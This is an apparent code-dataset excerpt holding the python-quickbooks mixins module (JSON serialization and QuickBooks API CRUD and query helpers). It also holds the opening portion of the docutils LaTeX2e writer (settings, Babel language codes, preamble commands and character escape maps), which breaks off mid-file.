code
stringlengths 3
1.05M
| repo_name
stringlengths 5
104
| path
stringlengths 4
251
| language
stringclasses 1
value | license
stringclasses 15
values | size
int64 3
1.05M
|
|---|---|---|---|---|---|
from future.moves.urllib.parse import quote
try: import simplejson as json
except ImportError: import json
import six
from .utils import build_where_clause, build_choose_clause
from .client import QuickBooks
from .exceptions import QuickbooksException
class ToJsonMixin(object):
def to_json(self):
return json.dumps(self, default=self.json_filter(), sort_keys=True, indent=4)
def json_filter(self):
"""
filter out properties that have names starting with _
or properties that have a value of None
"""
return lambda obj: dict((k, v) for k, v in obj.__dict__.items()
if not k.startswith('_') and getattr(obj, k) is not None)
class FromJsonMixin(object):
class_dict = {}
list_dict = {}
@classmethod
def from_json(cls, json_data):
obj = cls()
for key in json_data:
if key in obj.class_dict:
sub_obj = obj.class_dict[key]()
sub_obj = sub_obj.from_json(json_data[key])
setattr(obj, key, sub_obj)
elif key in obj.list_dict:
sub_list = []
for data in json_data[key]:
if 'DetailType' in data and data['DetailType'] in obj.detail_dict:
sub_obj = obj.detail_dict[data['DetailType']]()
else:
sub_obj = obj.list_dict[key]()
sub_obj = sub_obj.from_json(data)
sub_list.append(sub_obj)
setattr(obj, key, sub_list)
else:
setattr(obj, key, json_data[key])
return obj
# Based on http://stackoverflow.com/a/1118038
def to_dict(obj, classkey=None):
"""
Recursively converts Python object into a dictionary
"""
if isinstance(obj, dict):
data = {}
for (k, v) in obj.items():
data[k] = to_dict(v, classkey)
return data
elif hasattr(obj, "_ast"):
return to_dict(obj._ast())
elif hasattr(obj, "__iter__") and not isinstance(obj, str):
return [to_dict(v, classkey) for v in obj]
elif hasattr(obj, "__dict__"):
if six.PY2:
data = dict([(key, to_dict(value, classkey))
for key, value in obj.__dict__.iteritems()
if not callable(value) and not key.startswith('_')])
else:
data = dict([(key, to_dict(value, classkey))
for key, value in obj.__dict__.items()
if not callable(value) and not key.startswith('_')])
if classkey is not None and hasattr(obj, "__class__"):
data[classkey] = obj.__class__.__name__
return data
else:
return obj
class ToDictMixin(object):
def to_dict(self):
return to_dict(self)
class ReadMixin(object):
qbo_object_name = ""
qbo_json_object_name = ""
@classmethod
def get(cls, id, qb=None):
if not qb:
qb = QuickBooks()
json_data = qb.get_single_object(cls.qbo_object_name, pk=id)
if cls.qbo_json_object_name != '':
return cls.from_json(json_data[cls.qbo_json_object_name])
else:
return cls.from_json(json_data[cls.qbo_object_name])
class SendMixin(object):
def send(self, qb=None, send_to=None):
if not qb:
qb = QuickBooks()
end_point = "{0}/{1}/send".format(self.qbo_object_name.lower(), self.Id)
if send_to:
send_to = quote(send_to, safe='')
end_point = "{0}?sendTo={1}".format(end_point, send_to)
results = qb.misc_operation(end_point, None, 'application/octet-stream')
return results
class VoidMixin(object):
def void(self, qb=None):
if not qb:
qb = QuickBooks()
if not self.Id:
raise QuickbooksException('Cannot void unsaved object')
data = {
'Id': self.Id,
'SyncToken': self.SyncToken,
}
endpoint = self.qbo_object_name.lower()
url = "{0}/company/{1}/{2}".format(qb.api_url, qb.company_id, endpoint)
results = qb.post(url, json.dumps(data), params={'operation': 'void'})
return results
class UpdateMixin(object):
qbo_object_name = ""
qbo_json_object_name = ""
def save(self, qb=None, request_id=None):
if not qb:
qb = QuickBooks()
if self.Id and int(self.Id) > 0:
json_data = qb.update_object(self.qbo_object_name, self.to_json(), request_id=request_id)
else:
json_data = qb.create_object(self.qbo_object_name, self.to_json(), request_id=request_id)
if self.qbo_json_object_name != '':
obj = type(self).from_json(json_data[self.qbo_json_object_name])
else:
obj = type(self).from_json(json_data[self.qbo_object_name])
self.Id = obj.Id
return obj
class UpdateNoIdMixin(object):
qbo_object_name = ""
qbo_json_object_name = ""
def save(self, qb=None, request_id=None):
if not qb:
qb = QuickBooks()
json_data = qb.update_object(self.qbo_object_name, self.to_json(), request_id=request_id)
obj = type(self).from_json(json_data[self.qbo_object_name])
return obj
class DeleteMixin(object):
qbo_object_name = ""
def delete(self, qb=None, request_id=None):
if not qb:
qb = QuickBooks()
if not self.Id:
raise QuickbooksException('Cannot delete unsaved object')
data = {
'Id': self.Id,
'SyncToken': self.SyncToken,
}
return qb.delete_object(self.qbo_object_name, json.dumps(data), request_id=request_id)
class ListMixin(object):
qbo_object_name = ""
qbo_json_object_name = ""
@classmethod
def all(cls, order_by="", start_position="", max_results=100, qb=None):
"""
:param start_position:
:param max_results: The max number of entities that can be returned in a response is 1000.
:param qb:
:return: Returns list
"""
return cls.where("", order_by=order_by, start_position=start_position,
max_results=max_results, qb=qb)
@classmethod
def filter(cls, order_by="", start_position="", max_results="", qb=None, **kwargs):
"""
:param order_by:
:param start_position:
:param max_results:
:param qb:
:param kwargs: field names and values to filter the query
:return: Filtered list
"""
return cls.where(build_where_clause(**kwargs),
start_position=start_position, max_results=max_results, order_by=order_by,
qb=qb)
@classmethod
def choose(cls, choices, field="Id", qb=None):
"""
:param choices:
:param field:
:param qb:
:return: Filtered list
"""
return cls.where(build_choose_clause(choices, field), qb=qb)
@classmethod
def where(cls, where_clause="", order_by="", start_position="", max_results="", qb=None):
"""
:param where_clause: QBO SQL where clause (DO NOT include 'WHERE')
:param order_by:
:param start_position:
:param max_results:
:param qb:
:return: Returns list filtered by input where_clause
"""
if where_clause:
where_clause = "WHERE " + where_clause
if order_by:
order_by = " ORDERBY " + order_by
if start_position != "":
start_position = " STARTPOSITION " + str(start_position)
if max_results:
max_results = " MAXRESULTS " + str(max_results)
select = "SELECT * FROM {0} {1}{2}{3}{4}".format(
cls.qbo_object_name, where_clause, order_by, start_position, max_results)
return cls.query(select, qb=qb)
@classmethod
def query(cls, select, qb=None):
"""
:param select: QBO SQL query select statement
:param qb:
:return: Returns list
"""
if not qb:
qb = QuickBooks()
json_data = qb.query(select)
obj_list = []
if cls.qbo_json_object_name != '':
object_name = cls.qbo_json_object_name
else:
object_name = cls.qbo_object_name
if object_name in json_data["QueryResponse"]:
for item_json in json_data["QueryResponse"][object_name]:
obj_list.append(cls.from_json(item_json))
return obj_list
@classmethod
def count(cls, where_clause="", qb=None):
"""
:param where_clause: QBO SQL where clause (DO NOT include 'WHERE')
:param qb:
:return: Returns database record count
"""
if not qb:
qb = QuickBooks()
if where_clause:
where_clause = "WHERE " + where_clause
select = "SELECT COUNT(*) FROM {0} {1}".format(
cls.qbo_object_name, where_clause)
json_data = qb.query(select)
if "totalCount" in json_data["QueryResponse"]:
return json_data["QueryResponse"]["totalCount"]
else:
return None
class QuickbooksPdfDownloadable(object):
qbo_object_name = ""
def download_pdf(self, qb=None):
if self.Id and int(self.Id) > 0 and qb is not None:
return qb.download_pdf(self.qbo_object_name, self.Id)
else:
raise QuickbooksException(
"Cannot download {0} when no Id is assigned or if no quickbooks client is passed in".format(
self.qbo_object_name))
class ObjectListMixin(object):
qbo_object_name = ""
_object_list = []
def __iter__(self):
return self._object_list.__iter__()
def __len__(self):
return self._object_list.__len__()
def __contains__(self, item):
return self._object_list.__contains__(item)
def __getitem__(self, key):
# if key is of invalid type or value, the list values will raise the error
return self._object_list.__getitem__(key)
def __setitem__(self, key, value):
self._object_list.__setitem__(key, value)
def __delitem__(self, key):
self._object_list.__delitem__(key)
def __reversed__(self):
return self._object_list.__reversed__()
def append(self, value):
self._object_list.append(value)
def pop(self, *args, **kwargs):
return self._object_list.pop(*args, **kwargs)
class PrefMixin(object):
qbo_object_name = ""
qbo_json_object_name = ""
@classmethod
def get(cls, qb=None):
if not qb:
qb = QuickBooks()
end_point = "{0}/company/{1}/preferences".format(qb.api_url, qb.company_id)
json_data = qb.get(end_point, {})
return cls.from_json(json_data[cls.qbo_object_name])
| sidecars/python-quickbooks | quickbooks/mixins.py | Python | mit | 10,936 |
# .. coding: utf-8
# $Id: __init__.py 7971 2016-09-13 19:11:48Z milde $
# Author: Engelbert Gruber, Günter Milde
# Maintainer: [email protected]
# Copyright: This module has been placed in the public domain.
"""LaTeX2e document tree Writer."""
__docformat__ = 'reStructuredText'
# code contributions from several people included, thanks to all.
# some named: David Abrahams, Julien Letessier, Lele Gaifax, and others.
#
# convention deactivate code by two # i.e. ##.
import sys
import os
import time
import re
import string
import urllib
try:
import roman
except ImportError:
import docutils.utils.roman as roman
from docutils import frontend, nodes, languages, writers, utils, io
from docutils.utils.error_reporting import SafeString
from docutils.transforms import writer_aux
from docutils.utils.math import pick_math_environment, unichar2tex
class Writer(writers.Writer):
supported = ('latex','latex2e')
"""Formats this writer supports."""
default_template = 'default.tex'
default_template_path = os.path.dirname(os.path.abspath(__file__))
default_preamble = '\n'.join([r'% PDF Standard Fonts',
r'\usepackage{mathptmx} % Times',
r'\usepackage[scaled=.90]{helvet}',
r'\usepackage{courier}'])
table_style_values = ('standard', 'booktabs','nolines', 'borderless',
'colwidths-auto', 'colwidths-given')
settings_spec = (
'LaTeX-Specific Options',
None,
(('Specify documentclass. Default is "article".',
['--documentclass'],
{'default': 'article', }),
('Specify document options. Multiple options can be given, '
'separated by commas. Default is "a4paper".',
['--documentoptions'],
{'default': 'a4paper', }),
('Footnotes with numbers/symbols by Docutils. (default)',
['--docutils-footnotes'],
{'default': True, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Format for footnote references: one of "superscript" or '
'"brackets". Default is "superscript".',
['--footnote-references'],
{'choices': ['superscript', 'brackets'], 'default': 'superscript',
'metavar': '<format>',
'overrides': 'trim_footnote_reference_space'}),
('Use \\cite command for citations. ',
['--use-latex-citations'],
{'default': 0, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Use figure floats for citations '
'(might get mixed with real figures). (default)',
['--figure-citations'],
{'dest': 'use_latex_citations', 'action': 'store_false',
'validator': frontend.validate_boolean}),
('Format for block quote attributions: one of "dash" (em-dash '
'prefix), "parentheses"/"parens", or "none". Default is "dash".',
['--attribution'],
{'choices': ['dash', 'parentheses', 'parens', 'none'],
'default': 'dash', 'metavar': '<format>'}),
('Specify LaTeX packages/stylesheets. '
' A style is referenced with \\usepackage if extension is '
'".sty" or omitted and with \\input else. '
' Overrides previous --stylesheet and --stylesheet-path settings.',
['--stylesheet'],
{'default': '', 'metavar': '<file[,file,...]>',
'overrides': 'stylesheet_path',
'validator': frontend.validate_comma_separated_list}),
('Comma separated list of LaTeX packages/stylesheets. '
'Relative paths are expanded if a matching file is found in '
'the --stylesheet-dirs. With --link-stylesheet, '
'the path is rewritten relative to the output *.tex file. ',
['--stylesheet-path'],
{'metavar': '<file[,file,...]>', 'overrides': 'stylesheet',
'validator': frontend.validate_comma_separated_list}),
('Link to the stylesheet(s) in the output file. (default)',
['--link-stylesheet'],
{'dest': 'embed_stylesheet', 'action': 'store_false'}),
('Embed the stylesheet(s) in the output file. '
'Stylesheets must be accessible during processing. ',
['--embed-stylesheet'],
{'default': 0, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Comma-separated list of directories where stylesheets are found. '
'Used by --stylesheet-path when expanding relative path arguments. '
'Default: "."',
['--stylesheet-dirs'],
{'metavar': '<dir[,dir,...]>',
'validator': frontend.validate_comma_separated_list,
'default': ['.']}),
('Customization by LaTeX code in the preamble. '
'Default: select PDF standard fonts (Times, Helvetica, Courier).',
['--latex-preamble'],
{'default': default_preamble}),
('Specify the template file. Default: "%s".' % default_template,
['--template'],
{'default': default_template, 'metavar': '<file>'}),
('Table of contents by LaTeX. (default) ',
['--use-latex-toc'],
{'default': 1, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Table of contents by Docutils (without page numbers). ',
['--use-docutils-toc'],
{'dest': 'use_latex_toc', 'action': 'store_false',
'validator': frontend.validate_boolean}),
('Add parts on top of the section hierarchy.',
['--use-part-section'],
{'default': 0, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Attach author and date to the document info table. (default) ',
['--use-docutils-docinfo'],
{'dest': 'use_latex_docinfo', 'action': 'store_false',
'validator': frontend.validate_boolean}),
('Attach author and date to the document title.',
['--use-latex-docinfo'],
{'default': 0, 'action': 'store_true',
'validator': frontend.validate_boolean}),
("Typeset abstract as topic. (default)",
['--topic-abstract'],
{'dest': 'use_latex_abstract', 'action': 'store_false',
'validator': frontend.validate_boolean}),
("Use LaTeX abstract environment for the document's abstract. ",
['--use-latex-abstract'],
{'default': 0, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Color of any hyperlinks embedded in text '
'(default: "blue", "false" to disable).',
['--hyperlink-color'], {'default': 'blue'}),
('Additional options to the "hyperref" package '
'(default: "").',
['--hyperref-options'], {'default': ''}),
('Enable compound enumerators for nested enumerated lists '
'(e.g. "1.2.a.ii"). Default: disabled.',
['--compound-enumerators'],
{'default': None, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Disable compound enumerators for nested enumerated lists. '
'This is the default.',
['--no-compound-enumerators'],
{'action': 'store_false', 'dest': 'compound_enumerators'}),
('Enable section ("." subsection ...) prefixes for compound '
'enumerators. This has no effect without --compound-enumerators.'
'Default: disabled.',
['--section-prefix-for-enumerators'],
{'default': None, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Disable section prefixes for compound enumerators. '
'This is the default.',
['--no-section-prefix-for-enumerators'],
{'action': 'store_false', 'dest': 'section_prefix_for_enumerators'}),
('Set the separator between section number and enumerator '
'for compound enumerated lists. Default is "-".',
['--section-enumerator-separator'],
{'default': '-', 'metavar': '<char>'}),
('When possibile, use the specified environment for literal-blocks. '
'Default is quoting of whitespace and special chars.',
['--literal-block-env'],
{'default': ''}),
('When possibile, use verbatim for literal-blocks. '
'Compatibility alias for "--literal-block-env=verbatim".',
['--use-verbatim-when-possible'],
{'default': 0, 'action': 'store_true',
'validator': frontend.validate_boolean}),
('Table style. "standard" with horizontal and vertical lines, '
'"booktabs" (LaTeX booktabs style) only horizontal lines '
'above and below the table and below the header or "borderless". '
'Default: "standard"',
['--table-style'],
{'default': ['standard'],
'metavar': '<format>',
'action': 'append',
'validator': frontend.validate_comma_separated_list,
'choices': table_style_values}),
('LaTeX graphicx package option. '
'Possible values are "dvips", "pdftex". "auto" includes LaTeX code '
'to use "pdftex" if processing with pdf(la)tex and dvips otherwise. '
'Default is no option.',
['--graphicx-option'],
{'default': ''}),
('LaTeX font encoding. '
'Possible values are "", "T1" (default), "OT1", "LGR,T1" or '
'any other combination of options to the `fontenc` package. ',
['--font-encoding'],
{'default': 'T1'}),
('Per default the latex-writer puts the reference title into '
'hyperreferences. Specify "ref*" or "pageref*" to get the section '
'number or the page number.',
['--reference-label'],
{'default': None, }),
('Specify style and database for bibtex, for example '
'"--use-bibtex=mystyle,mydb1,mydb2".',
['--use-bibtex'],
{'default': None, }),
),)
settings_defaults = {'sectnum_depth': 0 # updated by SectNum transform
}
config_section = 'latex2e writer'
config_section_dependencies = ('writers',)
head_parts = ('head_prefix', 'requirements', 'latex_preamble',
'stylesheet', 'fallbacks', 'pdfsetup',
'title', 'subtitle', 'titledata')
visitor_attributes = head_parts + ('body_pre_docinfo', 'docinfo',
'dedication', 'abstract', 'body')
output = None
"""Final translated form of `document`."""
def __init__(self):
writers.Writer.__init__(self)
self.translator_class = LaTeXTranslator
# Override parent method to add latex-specific transforms
def get_transforms(self):
return writers.Writer.get_transforms(self) + [
# Convert specific admonitions to generic one
writer_aux.Admonitions,
# TODO: footnote collection transform
]
def translate(self):
visitor = self.translator_class(self.document)
self.document.walkabout(visitor)
# copy parts
for part in self.visitor_attributes:
setattr(self, part, getattr(visitor, part))
# get template string from file
try:
template_file = open(self.document.settings.template, 'rb')
except IOError:
template_file = open(os.path.join(self.default_template_path,
self.document.settings.template), 'rb')
template = string.Template(unicode(template_file.read(), 'utf-8'))
template_file.close()
# fill template
self.assemble_parts() # create dictionary of parts
self.output = template.substitute(self.parts)
def assemble_parts(self):
"""Assemble the `self.parts` dictionary of output fragments."""
writers.Writer.assemble_parts(self)
for part in self.visitor_attributes:
lines = getattr(self, part)
if part in self.head_parts:
if lines:
lines.append('') # to get a trailing newline
self.parts[part] = '\n'.join(lines)
else:
# body contains inline elements, so join without newline
self.parts[part] = ''.join(lines)
class Babel(object):
"""Language specifics for LaTeX."""
# TeX (babel) language names:
# ! not all of these are supported by Docutils!
#
# based on LyX' languages file with adaptions to `BCP 47`_
# (http://www.rfc-editor.org/rfc/bcp/bcp47.txt) and
# http://www.tug.org/TUGboat/Articles/tb29-3/tb93miklavec.pdf
# * the key without subtags is the default
# * case is ignored
# cf. http://docutils.sourceforge.net/docs/howto/i18n.html
# http://www.w3.org/International/articles/language-tags/
# and http://www.iana.org/assignments/language-subtag-registry
language_codes = {
# code TeX/Babel-name comment
'af': 'afrikaans',
'ar': 'arabic',
# 'be': 'belarusian',
'bg': 'bulgarian',
'br': 'breton',
'ca': 'catalan',
# 'cop': 'coptic',
'cs': 'czech',
'cy': 'welsh',
'da': 'danish',
'de': 'ngerman', # new spelling (de_1996)
'de-1901': 'german', # old spelling
'de-AT': 'naustrian',
'de-AT-1901': 'austrian',
'dsb': 'lowersorbian',
'el': 'greek', # monotonic (el-monoton)
'el-polyton': 'polutonikogreek',
'en': 'english', # TeX' default language
'en-AU': 'australian',
'en-CA': 'canadian',
'en-GB': 'british',
'en-NZ': 'newzealand',
'en-US': 'american',
'eo': 'esperanto',
'es': 'spanish',
'et': 'estonian',
'eu': 'basque',
# 'fa': 'farsi',
'fi': 'finnish',
'fr': 'french',
'fr-CA': 'canadien',
'ga': 'irish', # Irish Gaelic
# 'grc': # Ancient Greek
'grc-ibycus': 'ibycus', # Ibycus encoding
'gl': 'galician',
'he': 'hebrew',
'hr': 'croatian',
'hsb': 'uppersorbian',
'hu': 'magyar',
'ia': 'interlingua',
'id': 'bahasai', # Bahasa (Indonesian)
'is': 'icelandic',
'it': 'italian',
'ja': 'japanese',
'kk': 'kazakh',
'la': 'latin',
'lt': 'lithuanian',
'lv': 'latvian',
'mn': 'mongolian', # Mongolian, Cyrillic script (mn-cyrl)
'ms': 'bahasam', # Bahasa (Malay)
'nb': 'norsk', # Norwegian Bokmal
'nl': 'dutch',
'nn': 'nynorsk', # Norwegian Nynorsk
'no': 'norsk', # Norwegian (Bokmal)
'pl': 'polish',
'pt': 'portuges',
'pt-BR': 'brazil',
'ro': 'romanian',
'ru': 'russian',
'se': 'samin', # North Sami
'sh-Cyrl': 'serbianc', # Serbo-Croatian, Cyrillic script
'sh-Latn': 'serbian', # Serbo-Croatian, Latin script see also 'hr'
'sk': 'slovak',
'sl': 'slovene',
'sq': 'albanian',
'sr': 'serbianc', # Serbian, Cyrillic script (contributed)
'sr-Latn': 'serbian', # Serbian, Latin script
'sv': 'swedish',
# 'th': 'thai',
'tr': 'turkish',
'uk': 'ukrainian',
'vi': 'vietnam',
# zh-Latn: Chinese Pinyin
}
# normalize (downcase) keys
language_codes = dict([(k.lower(), v) for (k,v) in language_codes.items()])
warn_msg = 'Language "%s" not supported by LaTeX (babel)'
# "Active characters" are shortcuts that start a LaTeX macro and may need
# escaping for literals use. Characters that prevent literal use (e.g.
# starting accent macros like "a -> ä) will be deactivated if one of the
# defining languages is used in the document.
# Special cases:
# ~ (tilde) -- used in estonian, basque, galician, and old versions of
# spanish -- cannot be deactivated as it denotes a no-break space macro,
# " (straight quote) -- used in albanian, austrian, basque
# brazil, bulgarian, catalan, czech, danish, dutch, estonian,
# finnish, galician, german, icelandic, italian, latin, naustrian,
# ngerman, norsk, nynorsk, polish, portuges, russian, serbian, slovak,
# slovene, spanish, swedish, ukrainian, and uppersorbian --
# is escaped as ``\textquotedbl``.
active_chars = {# TeX/Babel-name: active characters to deactivate
# 'breton': ':;!?' # ensure whitespace
# 'esperanto': '^',
# 'estonian': '~"`',
# 'french': ':;!?' # ensure whitespace
'galician': '.<>', # also '~"'
# 'magyar': '`', # for special hyphenation cases
'spanish': '.<>', # old versions also '~'
# 'turkish': ':!=' # ensure whitespace
}
def __init__(self, language_code, reporter=None):
self.reporter = reporter
self.language = self.language_name(language_code)
self.otherlanguages = {}
def __call__(self):
"""Return the babel call with correct options and settings"""
languages = sorted(self.otherlanguages.keys())
languages.append(self.language or 'english')
self.setup = [r'\usepackage[%s]{babel}' % ','.join(languages)]
# Deactivate "active characters"
shorthands = []
for c in ''.join([self.active_chars.get(l, '') for l in languages]):
if c not in shorthands:
shorthands.append(c)
if shorthands:
self.setup.append(r'\AtBeginDocument{\shorthandoff{%s}}'
% ''.join(shorthands))
# Including '~' in shorthandoff prevents its use as no-break space
if 'galician' in languages:
self.setup.append(r'\deactivatetilden % restore ~ in Galician')
if 'estonian' in languages:
self.setup.extend([r'\makeatletter',
r' \addto\extrasestonian{\bbl@deactivate{~}}',
r'\makeatother'])
if 'basque' in languages:
self.setup.extend([r'\makeatletter',
r' \addto\extrasbasque{\bbl@deactivate{~}}',
r'\makeatother'])
if (languages[-1] == 'english' and
'french' in self.otherlanguages.keys()):
self.setup += ['% Prevent side-effects if French hyphenation '
'patterns are not loaded:',
r'\frenchbsetup{StandardLayout}',
r'\AtBeginDocument{\selectlanguage{%s}'
r'\noextrasfrench}' % self.language]
return '\n'.join(self.setup)
def language_name(self, language_code):
"""Return TeX language name for `language_code`"""
for tag in utils.normalize_language_tag(language_code):
try:
return self.language_codes[tag]
except KeyError:
pass
if self.reporter is not None:
self.reporter.warning(self.warn_msg % language_code)
return ''
def get_language(self):
# Obsolete, kept for backwards compatibility with Sphinx
return self.language
# Building blocks for the latex preamble
# --------------------------------------
class SortableDict(dict):
"""Dictionary with additional sorting methods
Tip: use key starting with with '_' for sorting before small letters
and with '~' for sorting after small letters.
"""
def sortedkeys(self):
"""Return sorted list of keys"""
keys = self.keys()
keys.sort()
return keys
def sortedvalues(self):
"""Return list of values sorted by keys"""
return [self[key] for key in self.sortedkeys()]
# PreambleCmds
# `````````````
# A container for LaTeX code snippets that can be
# inserted into the preamble if required in the document.
#
# .. The package 'makecmds' would enable shorter definitions using the
# \providelength and \provideenvironment commands.
# However, it is pretty non-standard (texlive-latex-extra).
class PreambleCmds(object):
"""Building blocks for the latex preamble."""
PreambleCmds.abstract = r"""
% abstract title
\providecommand*{\DUtitleabstract}[1]{\centering\textbf{#1}}"""
PreambleCmds.admonition = r"""
% admonition (specially marked topic)
\providecommand{\DUadmonition}[2][class-arg]{%
% try \DUadmonition#1{#2}:
\ifcsname DUadmonition#1\endcsname%
\csname DUadmonition#1\endcsname{#2}%
\else
\begin{center}
\fbox{\parbox{0.9\linewidth}{#2}}
\end{center}
\fi
}"""
PreambleCmds.align_center = r"""
\makeatletter
\@namedef{DUrolealign-center}{\centering}
\makeatother
"""
## PreambleCmds.caption = r"""% configure caption layout
## \usepackage{caption}
## \captionsetup{singlelinecheck=false}% no exceptions for one-liners"""
PreambleCmds.color = r"""\usepackage{color}"""
PreambleCmds.docinfo = r"""
% docinfo (width of docinfo table)
\DUprovidelength{\DUdocinfowidth}{0.9\linewidth}"""
# PreambleCmds.docinfo._depends = 'providelength'
PreambleCmds.dedication = r"""
% dedication topic
\providecommand{\DUtopicdedication}[1]{\begin{center}#1\end{center}}"""
PreambleCmds.error = r"""
% error admonition title
\providecommand*{\DUtitleerror}[1]{\DUtitle{\color{red}#1}}"""
# PreambleCmds.errortitle._depends = 'color'
PreambleCmds.fieldlist = r"""
% fieldlist environment
\ifthenelse{\isundefined{\DUfieldlist}}{
\newenvironment{DUfieldlist}%
{\quote\description}
{\enddescription\endquote}
}{}"""
PreambleCmds.float_settings = r"""\usepackage{float} % float configuration
\floatplacement{figure}{H} % place figures here definitely"""
PreambleCmds.footnotes = r"""% numeric or symbol footnotes with hyperlinks
\providecommand*{\DUfootnotemark}[3]{%
\raisebox{1em}{\hypertarget{#1}{}}%
\hyperlink{#2}{\textsuperscript{#3}}%
}
\providecommand{\DUfootnotetext}[4]{%
\begingroup%
\renewcommand{\thefootnote}{%
\protect\raisebox{1em}{\protect\hypertarget{#1}{}}%
\protect\hyperlink{#2}{#3}}%
\footnotetext{#4}%
\endgroup%
}"""
PreambleCmds.graphicx_auto = r"""% Check output format
\ifx\pdftexversion\undefined
\usepackage{graphicx}
\else
\usepackage[pdftex]{graphicx}
\fi"""
PreambleCmds.highlight_rules = r"""% basic code highlight:
\providecommand*\DUrolecomment[1]{\textcolor[rgb]{0.40,0.40,0.40}{#1}}
\providecommand*\DUroledeleted[1]{\textcolor[rgb]{0.40,0.40,0.40}{#1}}
\providecommand*\DUrolekeyword[1]{\textbf{#1}}
\providecommand*\DUrolestring[1]{\textit{#1}}"""
PreambleCmds.inline = r"""
% inline markup (custom roles)
% \DUrole{#1}{#2} tries \DUrole#1{#2}
\providecommand*{\DUrole}[2]{%
\ifcsname DUrole#1\endcsname%
\csname DUrole#1\endcsname{#2}%
\else% backwards compatibility: try \docutilsrole#1{#2}
\ifcsname docutilsrole#1\endcsname%
\csname docutilsrole#1\endcsname{#2}%
\else%
#2%
\fi%
\fi%
}"""
PreambleCmds.legend = r"""
% legend environment
\ifthenelse{\isundefined{\DUlegend}}{
\newenvironment{DUlegend}{\small}{}
}{}"""
PreambleCmds.lineblock = r"""
% lineblock environment
\DUprovidelength{\DUlineblockindent}{2.5em}
\ifthenelse{\isundefined{\DUlineblock}}{
\newenvironment{DUlineblock}[1]{%
\list{}{\setlength{\partopsep}{\parskip}
\addtolength{\partopsep}{\baselineskip}
\setlength{\topsep}{0pt}
\setlength{\itemsep}{0.15\baselineskip}
\setlength{\parsep}{0pt}
\setlength{\leftmargin}{#1}}
\raggedright
}
{\endlist}
}{}"""
# PreambleCmds.lineblock._depends = 'providelength'
PreambleCmds.linking = r"""
%% hyperlinks:
\ifthenelse{\isundefined{\hypersetup}}{
\usepackage[%s]{hyperref}
\usepackage{bookmark}
\urlstyle{same} %% normal text font (alternatives: tt, rm, sf)
}{}"""
PreambleCmds.minitoc = r"""%% local table of contents
\usepackage{minitoc}"""
PreambleCmds.optionlist = r"""
% optionlist environment
\providecommand*{\DUoptionlistlabel}[1]{\bf #1 \hfill}
\DUprovidelength{\DUoptionlistindent}{3cm}
\ifthenelse{\isundefined{\DUoptionlist}}{
\newenvironment{DUoptionlist}{%
\list{}{\setlength{\labelwidth}{\DUoptionlistindent}
\setlength{\rightmargin}{1cm}
\setlength{\leftmargin}{\rightmargin}
\addtolength{\leftmargin}{\labelwidth}
\addtolength{\leftmargin}{\labelsep}
\renewcommand{\makelabel}{\DUoptionlistlabel}}
}
{\endlist}
}{}"""
# PreambleCmds.optionlist._depends = 'providelength'
PreambleCmds.providelength = r"""
% providelength (provide a length variable and set default, if it is new)
\providecommand*{\DUprovidelength}[2]{
\ifthenelse{\isundefined{#1}}{\newlength{#1}\setlength{#1}{#2}}{}
}"""
PreambleCmds.rubric = r"""
% rubric (informal heading)
\providecommand*{\DUrubric}[2][class-arg]{%
\subsubsection*{\centering\textit{\textmd{#2}}}}"""
PreambleCmds.sidebar = r"""
% sidebar (text outside the main text flow)
\providecommand{\DUsidebar}[2][class-arg]{%
\begin{center}
\colorbox[gray]{0.80}{\parbox{0.9\linewidth}{#2}}
\end{center}
}"""
PreambleCmds.subtitle = r"""
% subtitle (for topic/sidebar)
\providecommand*{\DUsubtitle}[2][class-arg]{\par\emph{#2}\smallskip}"""
PreambleCmds.documentsubtitle = r"""
% subtitle (in document title)
\providecommand*{\DUdocumentsubtitle}[1]{{\large #1}}"""
PreambleCmds.table = r"""\usepackage{longtable,ltcaption,array}
\setlength{\extrarowheight}{2pt}
\newlength{\DUtablewidth} % internal use in tables"""
# Options [force,almostfull] prevent spurious error messages, see
# de.comp.text.tex/2005-12/msg01855
PreambleCmds.textcomp = """\
\\usepackage{textcomp} % text symbol macros"""
PreambleCmds.titlereference = r"""
% titlereference role
\providecommand*{\DUroletitlereference}[1]{\textsl{#1}}"""
PreambleCmds.title = r"""
% title for topics, admonitions, unsupported section levels, and sidebar
\providecommand*{\DUtitle}[2][class-arg]{%
% call \DUtitle#1{#2} if it exists:
\ifcsname DUtitle#1\endcsname%
\csname DUtitle#1\endcsname{#2}%
\else
\smallskip\noindent\textbf{#2}\smallskip%
\fi
}"""
PreambleCmds.topic = r"""
% topic (quote with heading)
\providecommand{\DUtopic}[2][class-arg]{%
\ifcsname DUtopic#1\endcsname%
\csname DUtopic#1\endcsname{#2}%
\else
\begin{quote}#2\end{quote}
\fi
}"""
PreambleCmds.transition = r"""
% transition (break, fancybreak, anonymous section)
\providecommand*{\DUtransition}[1][class-arg]{%
\hspace*{\fill}\hrulefill\hspace*{\fill}
\vskip 0.5\baselineskip
}"""
# LaTeX encoding maps
# -------------------
# ::
class CharMaps(object):
"""LaTeX representations for active and Unicode characters."""
# characters that need escaping even in `alltt` environments:
alltt = {
ord('\\'): ur'\textbackslash{}',
ord('{'): ur'\{',
ord('}'): ur'\}',
}
# characters that normally need escaping:
special = {
ord('#'): ur'\#',
ord('$'): ur'\$',
ord('%'): ur'\%',
ord('&'): ur'\&',
ord('~'): ur'\textasciitilde{}',
ord('_'): ur'\_',
ord('^'): ur'\textasciicircum{}',
# straight double quotes are 'active' in many languages
ord('"'): ur'\textquotedbl{}',
# Square brackets are ordinary chars and cannot be escaped with '\',
# so we put them in a group '{[}'. (Alternative: ensure that all
# macros with optional arguments are terminated with {} and text
# inside any optional argument is put in a group ``[{text}]``).
# Commands with optional args inside an optional arg must be put in a
# group, e.g. ``\item[{\hyperref[label]{text}}]``.
ord('['): ur'{[}',
ord(']'): ur'{]}',
# the soft hyphen is unknown in 8-bit text
# and not properly handled by XeTeX
0x00AD: ur'\-', # SOFT HYPHEN
}
# Unicode chars that are not recognized by LaTeX's utf8 encoding
unsupported_unicode = {
0x00A0: ur'~', # NO-BREAK SPACE
# TODO: ensure white space also at the beginning of a line?
# 0x00A0: ur'\leavevmode\nobreak\vadjust{}~'
0x2008: ur'\,', # PUNCTUATION SPACE
0x2011: ur'\hbox{-}', # NON-BREAKING HYPHEN
